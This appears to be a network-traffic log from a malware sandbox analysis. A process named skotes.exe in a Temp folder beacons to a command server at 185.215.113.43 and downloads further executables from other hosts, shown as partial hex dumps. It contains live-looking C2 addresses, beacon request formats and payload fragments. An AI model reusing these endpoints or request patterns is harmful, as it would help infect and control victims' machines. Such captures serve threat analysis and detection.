Nov 20, 2024 12:58:01.007445097 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:58:00 GMT Content-Type: application/octet-stream Content-Length: 1863680 Last-Modified: Wed, 20 Nov 2024 11:16:07 GMT Connection: keep-alive ETag: "673dc4f7-1c7000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf J@PJx@WkHJ0J @.rsrcH@.idata @ *@ihqucnpr`0R@loaatlniJJ@.taggant0 J"N@
Nov 20, 2024 12:58:01.007462025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:58:01.007474899 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:58:01.007565022 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:58:01.007577896 CET	1236	IN	Data Raw: 1f ef 36 b0 3d 7b c6 4a 3e ef c6 f8 1e 8a a0 7b 5a 83 e0 0e 3d 24 37 be 4d eb 61 05 30 ae 16 03 a1 cb d2 12 e5 c4 e2 30 3f 38 60 aa 24 4d 2e 88 e2 53 85 f1 2d 47 8f 75 a3 f9 26 90 2e bb e7 2b 4d 4f d6 04 61 f8 1f 44 32 ef 52 22 29 a6 89 a8 cc 36 Data Ascii: 6={J>{Z=$7Ma00?8`$M.S-Gu&.+MOaD2R")65)OzH?D6"-UK"MF^d .#V$GC$ $E@;$o%0Mi$%3,?C>d5q6#k#9/g_H`fj&
Nov 20, 2024 12:58:01.007589102 CET	1236	IN	Data Raw: de 9b 9e 23 2e 03 f4 23 4c 4f d6 e7 ad f8 72 1c 1d 26 0c 23 31 a7 89 2a ce b7 96 35 90 9b 96 44 4d cf b5 67 a6 a7 40 2b 11 a4 87 20 25 0b f4 30 6d cf 36 04 f0 82 e4 c0 4c c9 86 bc 46 ab 69 22 6d a6 f5 ad 4a e7 c6 20 3d a9 46 17 5f 24 94 10 84 b6 Data Ascii: #.#LOr&#1*5DMg@+ %0m6LFi"mJ =F_$J Q_w =GuK?\|@?LD5@>n2'cD"{q>6( Ap/xA' 1&008_I .#+q,zAu7#
Nov 20, 2024 12:58:01.007601023 CET	1236	IN	Data Raw: fd 4b 8c 0f 33 86 cf ab 5e ac 26 7c 36 89 95 9b 4a d7 d2 d9 b5 cd e2 05 c7 67 47 cd 2e 63 95 6b 1e 7c 86 13 f6 ce a3 67 c3 5d c5 03 e0 e0 17 02 aa 36 87 20 d3 65 db b0 e0 8f a2 0a 5f b7 7b c3 a9 1b 9f e6 43 4f be e9 ee 89 d6 ac 87 24 f9 f5 89 54 Data Ascii: K3^&\|6JgG.ck\|g]6 e_{CO$TxPM1^%8r5eP\,=#=-z\M8LBER/CP*@9p_/!y7ea->sO+2O`jIf
Nov 20, 2024 12:58:01.007683992 CET	1236	IN	Data Raw: a4 56 51 2a 8e 54 aa a8 13 ef 71 7d 27 7d 97 7f 16 8b 37 30 2d 6f fd 98 af 1d 6b 1e d6 3e 75 e8 b6 77 23 23 e5 85 e3 c7 4e 70 af 95 a6 f9 4e 85 5f ce c7 cc b7 7e b6 53 a1 de 9b 41 5a 09 e5 9d 01 a7 77 cd 23 1d bf 00 a3 ab 90 cf 04 cd 7b c1 12 2b Data Ascii: VQTq}'}70-ok>uw##NpN_~SAZw#{+(ATNpORmpldHa!y5EI31!/Jdd+B)M5@}2O(VD)j] O\QjPSBTKBlw
Nov 20, 2024 12:58:01.007697105 CET	1236	IN	Data Raw: dd 29 b3 02 7a e0 8b 0a fc 32 47 38 2a 48 48 2b ed 4b b8 61 88 08 1a bf 23 6f cd 15 53 41 5a 4b f6 f5 85 c0 04 47 a3 c8 07 be 3c c2 70 87 50 47 c0 49 c5 59 08 49 e7 f1 30 c7 9c 93 5e 27 d7 7d d2 1c c1 f6 ce 82 76 5c 63 6f f2 e4 a9 32 18 e4 a9 62 Data Ascii: )z2G8HH+Ka#oSAZKG<pPGIYI0^'}v\co2b,G\|))"O &/d9Zo!}Jy}7'dIAyC'W4-u/v \|>fC+J/O$O;\G('-FN&#Uvm`
Nov 20, 2024 12:58:01.007708073 CET	1236	IN	Data Raw: 25 77 60 20 ee 51 f4 1b 4c b8 f0 6a 2f f9 e3 a4 96 87 b3 ab 7c 3f ee 84 32 9d 88 48 6e b7 1e c8 b4 18 fe 9e 30 04 65 44 42 2a 96 7f 69 ce 8e 84 8c 83 c6 c4 3c db 83 50 ab eb d3 d5 5c 68 87 26 ac e3 6d a9 44 80 67 b0 94 49 0b b4 99 8a 7e 7f 66 1b Data Ascii: %w` QLj/\|?2Hn0eDB*i<P\h&mDgI~fNkF<e #$a,mX>$<A>G6I31MR#OuHwby!XPh5k%p@O}+~BxfO'H>BGT[G^
Nov 20, 2024 12:58:01.013334036 CET	1236	IN	Data Raw: 7a a5 a0 40 99 80 32 ab 26 95 e9 b1 8e 28 ed 62 9b f1 1c b4 cb 85 5c 70 1e 03 7f 05 a5 8b d7 17 6b 24 ac 44 9c fe cc e1 5f b6 8b ac 49 d9 6f d6 61 24 bf 66 ae 06 d8 b0 d6 80 81 7d 90 17 2d 2a 03 47 93 1f 28 e1 8d 7c 34 e6 63 7e de e7 c6 0a 47 ac Data Ascii: z@2&(b\pk$D_Ioa$f}-G(\|4c~Gf`@f`\|q}oD[fBAjwo$,Dsfm_j^`m%z.Ts/cGr2H~+ w8r2upG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	50027	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:03.469230890 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 12:59:04.174263000 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:59:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	50030	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:05.687695980 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 12:59:06.427392006 CET	385	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:59:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 63 33 0d 0a 20 3c 63 3e 31 30 30 37 36 34 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 66 34 33 62 35 63 62 34 61 36 31 32 32 34 61 37 66 62 33 30 31 61 61 38 30 39 65 38 30 66 65 66 62 62 30 63 61 37 31 39 31 34 34 36 66 62 31 35 64 65 61 34 39 34 37 35 38 35 61 38 61 63 66 61 61 31 64 61 61 61 38 23 31 30 30 37 36 35 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: c3 <c>1007643001+++b5937c1a99d5f9dd0f43b5cb4a61224a7fb301aa809e80fefbb0ca7191446fb15dea4947585a8acfaa1daaa8#1007657001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	50031	150.241.91.218	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:06.476253033 CET	62	OUT	GET /GuidanceConnectors.exe HTTP/1.1 Host: 150.241.91.218
Nov 20, 2024 12:59:07.213140011 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Wed, 20 Nov 2024 11:59:07 GMT Content-Type: application/octet-stream Content-Length: 758801 Connection: keep-alive Last-Modified: Mon, 18 Nov 2024 10:39:38 GMT ETag: "673b196a-b9411" X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 da e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 6e 00 00 00 70 07 00 00 42 00 00 83 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 00 10 00 00 04 00 00 fc f5 0b 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$A{k888b<88b,888888%88"88Rich8PELGOnpB8@@4@^k(d.textmn `.rdatab*,r@@.data~@.ndata0.rsrc^@@@.reloc2T@B
Nov 20, 2024 12:59:07.213152885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: U\}t+}FEuH-GHPuuu@KSV5-GWEPu@eEEPu@}e
Nov 20, 2024 12:59:07.213166952 CET	1236	IN	Data Raw: c4 b0 40 00 ff 34 88 6a 00 e8 b0 53 00 00 50 e8 0f 4b 00 00 c3 8b 44 24 04 99 33 c2 2b c2 8b 15 c4 b0 40 00 8b c8 c1 f8 04 69 c0 08 40 00 00 56 83 e1 0f ff 34 8a 05 c8 b0 40 00 50 e8 7d 53 00 00 83 7c 24 08 00 8b f0 7d 06 56 e8 a1 4b 00 00 8b c6 Data Ascii: @4jSPKD$3+@i@V4@P}S\|$}VK^USVWEP.GP3Suu@;ui5@9]uKSPuuWPSutu@jM;t$S5.Guuu@3@_^[9
Nov 20, 2024 12:59:07.213490009 CET	393	IN	Data Raw: fd ff ff 39 5d dc 74 27 56 e8 ac 49 00 00 85 c0 74 1d ff 75 08 56 e8 32 53 00 00 68 d0 f0 40 00 6a e4 e8 30 36 00 00 57 68 70 8c 40 00 eb 0d 57 68 4c 8c 40 00 c7 45 fc 01 00 00 00 e8 47 49 00 00 59 e9 49 fe ff ff 53 e8 f4 fa ff ff 8b f0 8d 45 08 Data Ascii: 9]t'VItuV2Sh@j06Whp@WhL@EGIYISEPWh Vp@t$E;v)f9t$VDI;t,PuhF3fE9]+h WWl@jMQVh SPSh@3EfjXPVtD
Nov 20, 2024 12:59:07.234280109 CET	1236	IN	Data Raw: 40 00 8b c8 8b 45 08 83 c0 fd 0d 00 00 00 80 23 c1 f7 d8 1b c0 40 89 45 08 39 5d 08 75 06 56 e8 68 43 00 00 33 c0 83 7d 08 01 0f 95 c0 40 50 68 00 00 00 40 56 e8 72 43 00 00 89 45 f8 83 f8 ff 0f 85 bf 00 00 00 39 5d 08 75 77 56 68 a0 8b 40 00 e8 Data Ascii: @E#@E9]uVhC3}@Ph@VrCE9]uwVh@GYYh0GWEVh0GDuh@LWh0GDEPh@eAuhp@YGY6Ht@h@@FGYVjuj4}uEuVh@GPh@
Nov 20, 2024 12:59:07.234371901 CET	1236	IN	Data Raw: b0 40 00 e9 63 11 00 00 6a 03 59 e8 be f4 ff ff 6a 04 59 89 45 cc e8 b3 f4 ff ff f6 45 e8 01 89 45 08 74 0a 6a 33 e8 b9 f4 ff ff 89 45 cc f6 45 e8 02 74 0a 6a 44 e8 a9 f4 ff ff 89 45 08 83 7d d0 21 75 4a 33 c9 41 e8 82 f4 ff ff 6a 02 59 8b f8 e8 Data Ascii: @cjYjYEEEtj3EEtjDE}!uJ3AjYxM;tURQSuuPWL@@ECuuPW@0jOjF#Q#Puu@E9]u3Pl@sUjY
Nov 20, 2024 12:59:07.234379053 CET	1236	IN	Data Raw: f3 74 3d 89 5d fc 39 5d dc 74 17 ff 75 dc e8 d6 ef ff ff ff d6 85 c0 74 42 c7 45 fc 01 00 00 00 eb 39 68 00 b0 40 00 68 c0 b0 40 00 68 00 30 47 00 68 04 20 00 00 ff 75 f4 ff d6 83 c4 14 eb 1b ff 75 f8 6a f7 e8 dc 2a 00 00 57 ff 75 f8 68 58 87 40 Data Ascii: t=]9]tutBE9h@h@h0Gh uujWuhX@=9]3u#u<@h@jWh@rh@j*h@jZjEPjGjE=jEE3WE7uj!E
Nov 20, 2024 12:59:07.234615088 CET	672	IN	Data Raw: 00 00 83 c4 14 e9 84 00 00 00 68 98 84 40 00 e8 6f 39 00 00 83 c4 14 6a 04 5e 39 75 f0 75 27 6a 03 59 e8 ff ea ff ff 50 ff 75 f4 a3 d8 30 41 00 ff 75 08 89 75 f8 ff 75 cc 68 48 84 40 00 e8 40 39 00 00 83 c4 14 83 7d f0 03 75 42 68 18 c0 00 00 57 Data Ascii: h@o9j^9uu'jYPu0AuuuhH@@9}uBhWSuPWEhP8Puuuh@8$uWuSuu@u]uuuh@8u@uuh`@hJj3J3
Nov 20, 2024 12:59:07.234621048 CET	1236	IN	Data Raw: 39 1e 0f 84 b3 00 00 00 56 88 5d c7 e8 99 33 00 00 89 45 bc 39 5d f8 0f 8e 9e 00 00 00 8b f3 53 8d 45 ec 50 6a 01 8d 45 0b 50 ff 75 bc ff 15 58 81 40 00 85 c0 0f 84 82 00 00 00 83 7d ec 01 75 7c 39 5d e0 75 39 6a 02 8d 45 f4 50 6a 01 8d 45 0b 50 Data Ascii: 9V]3E9]SEPjEPuX@}u\|9]u9jEPjEPSS\@E<t.<t*fEfwEFE:tE;u\|>EPW3:Et}t}ufEfwFjSju`@3fw;9]t3Af@3@jPp3f9
Nov 20, 2024 12:59:07.234632969 CET	1236	IN	Data Raw: 8b 0d dc 2d 47 00 ff b4 81 94 00 00 00 57 e8 5e 37 00 00 eb 3a a1 74 72 45 00 53 23 c2 50 6a 0b ff 75 f4 ff 15 88 82 40 00 39 5d d4 74 21 53 53 ff 75 f4 ff 15 84 82 40 00 eb 14 6a 01 e8 86 e3 ff ff 50 e8 d0 32 00 00 50 56 e8 6e 2e 00 00 8b 45 fc Data Ascii: -GW^7:trES#Pju@9]t!SSu@jP2PVn.E.G3_^[I@@<@P@r@@@B@n@@@@@6@@b@@@@F@i@@@@\@@@@@@@@J @e @ @ @
Nov 20, 2024 12:59:07.234642029 CET	948	IN	Data Raw: 75 0c ff 15 54 81 40 00 85 c0 74 9d 3b 75 10 75 98 01 75 fc 29 75 14 83 7d 14 00 7f bb eb af 55 8b ec 83 ec 28 53 56 33 db 57 89 5d f8 89 5d fc ff 15 90 80 40 00 68 04 20 00 00 be d8 f0 4d 00 56 05 e8 03 00 00 53 a3 20 2e 47 00 ff 15 98 80 40 00 Data Ascii: uT@t;uuu)u}U(SV3W]]@h MVS .G@jhV(}=@u@VLVV^1Ph0NSW@1C;XB,.G%~;\|WSy=,.GuzjSEP'E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	50032	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:10.630323887 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 36 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007643001&unit=246122658369
Nov 20, 2024 12:59:11.315606117 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:59:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	50033	31.41.244.11	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:11.324695110 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 20, 2024 12:59:12.051990986 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:59:11 GMT Content-Type: application/octet-stream Content-Length: 4419072 Last-Modified: Wed, 20 Nov 2024 11:11:09 GMT Connection: keep-alive ETag: "673dc3cd-436e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 c0 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 c5 00 00 04 00 00 73 95 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 aa c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 aa c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@sC@ _qs@ px'@.rsrc p'@.idata q'@ 8q'@dqdwsshm'@moyfjxcsHC@.taggant0"LC@
Nov 20, 2024 12:59:12.052109957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:12.052124023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:12.052234888 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:12.052247047 CET	1236	IN	Data Raw: b9 98 7b be 81 08 a4 60 35 d4 21 66 82 b8 ab 40 f9 55 d5 94 8d 3b c5 b0 78 e9 fc 15 ed 32 6e d2 78 b4 c9 6c 2a f9 6f 15 1a 04 90 da e1 53 f0 c0 3b 5d a0 21 29 b9 3b 43 86 7f e0 84 d9 3c b9 48 32 d2 dc 24 f0 b3 bc 9b d3 d6 69 b0 70 0e 4e c9 f4 8d Data Ascii: {`5!f@U;x2nxloS;]!);C<H2$ipNibr=:'s.-Q)ye;?mR}~zK{4vey+<S~H#'($]79`kczd?I!+{$~6
Nov 20, 2024 12:59:12.052257061 CET	224	IN	Data Raw: af de a8 e3 f2 5a 7b d0 55 5c 22 27 2e 96 66 cf 9e fa df 5d 8d 4d 45 12 89 9c 33 9c 47 df 18 84 08 1a c3 04 ef a7 3a 02 d2 5b c6 28 3f f9 f1 d3 f8 56 70 b9 13 11 f5 48 c3 ca c3 2c f6 f8 ac e4 3d a8 e4 24 4e b8 81 a7 d7 1b ef ba f0 1b e0 6f eb 61 Data Ascii: Z{U\"'.f]ME3G:[(?VpH,=$NoaGhzJHdpY=\mX\|t=fnR)97 #&+)W!D-Hv]Njj^(b_t,s{
Nov 20, 2024 12:59:12.052442074 CET	1236	IN	Data Raw: 35 93 fd ac a6 cc b3 28 62 bb a7 ae a5 c3 a4 43 83 4a 15 d5 a1 df 16 06 b2 ce e1 9f b1 d3 80 2c f0 4e f2 c4 e6 d9 62 30 ff de 54 95 1c 15 f2 88 93 a5 ca 63 47 ba 22 65 26 6d e5 4b 72 5e 47 89 18 44 92 96 1b 03 08 9d 9a 25 d0 52 d6 e3 4b 76 9a 2a Data Ascii: 5(bCJ,Nb0TcG"e&mKr^GD%RKv'j=#j9Z+Ddzg'Z&\F,(l'BN-hMj,c&,3JJk3J?vl(_g,0J/~<3{G
Nov 20, 2024 12:59:12.052571058 CET	224	IN	Data Raw: 9f 5e 19 ac 4b 79 75 ac 85 2a 9f 37 f2 a7 af 03 35 fa a3 aa a6 9e 27 d1 3f 8f e3 98 3d 35 b4 03 f2 cb fe 64 38 85 21 12 ed 12 b3 28 e6 2e b5 d0 2a 2c f4 12 cd 5d cc dc 98 2e ec 87 42 fd d4 3c f7 02 29 0c f8 f5 e8 e7 f2 1e d4 c0 22 cb 25 c1 2b 20 Data Ascii: ^Kyu75'?=5d8!(.,].B<)"%+ )/(jEYtu%7d?<$=ftd:=W:"))_Gm;mgT')3"4ek,J^,f6h<
Nov 20, 2024 12:59:12.052586079 CET	1236	IN	Data Raw: 94 f4 87 d0 9e 04 c5 e8 7f a9 9b ec eb b9 11 f6 e1 26 8e 61 6d 66 fb 9c 51 94 50 87 2c 7b 03 36 58 82 d2 25 25 3b 12 b3 7b be bc 64 f3 b9 9b 49 ef 77 57 43 fc bd 8d 52 39 bc 0e 21 16 21 10 ef 59 16 b7 24 92 15 53 8d f1 5b 77 61 97 7f fa 83 1f b4 Data Ascii: &amfQP,{6X%%;{dIwWCR9!!Y$S[wadw8~8eB-1KTGE>tLI>Q:*1."w8++_Hc+`Wy:`D=\})T"=<tr^/5%"GN93mTx6ODln8
Nov 20, 2024 12:59:12.052743912 CET	1236	IN	Data Raw: 9a 01 63 41 b0 fd 0a 10 91 c2 12 10 64 0e bc 87 95 ea d3 e6 d2 ba 98 18 39 29 66 6c 9c 55 f7 cc 80 20 6d 99 71 ee 8f 61 ce 08 53 94 18 b8 c4 ee da 82 18 f6 f0 fa 4e aa 5d b1 7c bb f9 98 90 69 d0 3d b2 eb bc 5d 64 49 fe b8 bb ed 10 57 b3 db 1a 30 Data Ascii: cAd9)flU mqaSN]\|i=]dIW0ye"e;#2'N/-Ye]*Xk+n:M5=#3n"\03hkZr;:5>o2jHfY&oAC +\|%t[
Nov 20, 2024 12:59:12.059396982 CET	1236	IN	Data Raw: 5c 0e c0 4b 61 84 6b 53 92 77 90 30 e6 66 23 ac 9a 96 14 68 3e 5b 36 9d f3 b5 80 92 2b 49 ef c3 23 f8 e6 93 51 69 9c 45 b3 85 34 b0 85 4a e6 de 59 ba 17 ed 61 e9 49 b5 35 c8 2a 53 a2 5c 2a 72 89 ec 33 6c 55 05 3b f6 8e 65 62 d4 7a 0f d4 b5 9b c9 Data Ascii: \KakSw0f#h>[6+I#QiE4JYaI5S\r3lU;ebz%#x=nf8h8tP4&j@\|d:KP6_2/&<:m,^W'(pWa"qel~)dQWrx,k@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	50034	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
